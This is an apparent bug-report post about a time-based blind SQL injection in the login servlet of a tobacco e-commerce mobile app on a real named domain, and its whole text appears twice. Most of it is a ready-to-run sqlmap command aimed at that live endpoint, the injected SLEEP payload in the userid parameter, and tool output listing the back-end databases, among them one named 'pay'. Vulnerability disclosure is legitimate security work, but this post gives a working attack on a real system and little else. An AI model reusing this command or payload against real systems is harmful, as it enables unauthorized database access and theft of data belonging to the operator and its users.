A time-blind injection vulnerability in a tobacco app

A time-blind injection vulnerability in a tobacco app

Rt

 

This wonderful app

Tobacco ECOM login site Injection
 

python sqlmap.py -u "http://sjdy.inspur.com/app/servlet/validate" --data "userid=admin&pwd=034232d0d08907880acefc5efc0408eb&mobile=188888888&os=android&version=1.1.2&uim=460031410561419&imageversion=1" --dbs

 

Parameter: userid (POST)    Type: AND/OR time-based blind    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)    Payload: userid=admin' AND (SELECT * FROM (SELECT(SLEEP(5)))hNby) AND 'YBMg'='YBMg&pwd=034232d0d08907880acefc5efc0408eb&mobile=188888888&os=android&version=1.1.2&uim=460031410561419&imageversion=1---[12:21:13] [INFO] the back-end DBMS is MySQLweb application technology: JSPback-end DBMS: MySQL 5.0.12[12:21:13] [INFO] fetching database names[12:21:13] [INFO] fetching number of databases[12:21:13] [INFO] resumed: 8[12:21:13] [INFO] resumed: information_schema[12:21:13] [INFO] resumed: ZHSW_APP[12:21:13] [INFO] resumed: ZHSW_PM[12:21:13] [INFO] resumed: mysql[12:21:13] [INFO] resumed: pay[12:21:13] [INFO] resumed: performance_schema[12:21:13] [INFO] resumed: pm[12:21:13] [INFO] resumed: testavailable databases [8]:[*] information_schema[*] mysql[*] pay[*] performance_schema[*] pm[*] test[*] ZHSW_APP[*] ZHSW_PM

The domain name is a wave. Just give it to the wave.

 

This wonderful app

Tobacco ECOM login site Injection
 

python sqlmap.py -u "http://sjdy.inspur.com/app/servlet/validate" --data "userid=admin&pwd=034232d0d08907880acefc5efc0408eb&mobile=188888888&os=android&version=1.1.2&uim=460031410561419&imageversion=1" --dbs

 

Parameter: userid (POST)    Type: AND/OR time-based blind    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)    Payload: userid=admin' AND (SELECT * FROM (SELECT(SLEEP(5)))hNby) AND 'YBMg'='YBMg&pwd=034232d0d08907880acefc5efc0408eb&mobile=188888888&os=android&version=1.1.2&uim=460031410561419&imageversion=1---[12:21:13] [INFO] the back-end DBMS is MySQLweb application technology: JSPback-end DBMS: MySQL 5.0.12[12:21:13] [INFO] fetching database names[12:21:13] [INFO] fetching number of databases[12:21:13] [INFO] resumed: 8[12:21:13] [INFO] resumed: information_schema[12:21:13] [INFO] resumed: ZHSW_APP[12:21:13] [INFO] resumed: ZHSW_PM[12:21:13] [INFO] resumed: mysql[12:21:13] [INFO] resumed: pay[12:21:13] [INFO] resumed: performance_schema[12:21:13] [INFO] resumed: pm[12:21:13] [INFO] resumed: testavailable databases [8]:[*] information_schema[*] mysql[*] pay[*] performance_schema[*] pm[*] test[*] ZHSW_APP[*] ZHSW_PM

The domain name is a wave. Just give it to the wave.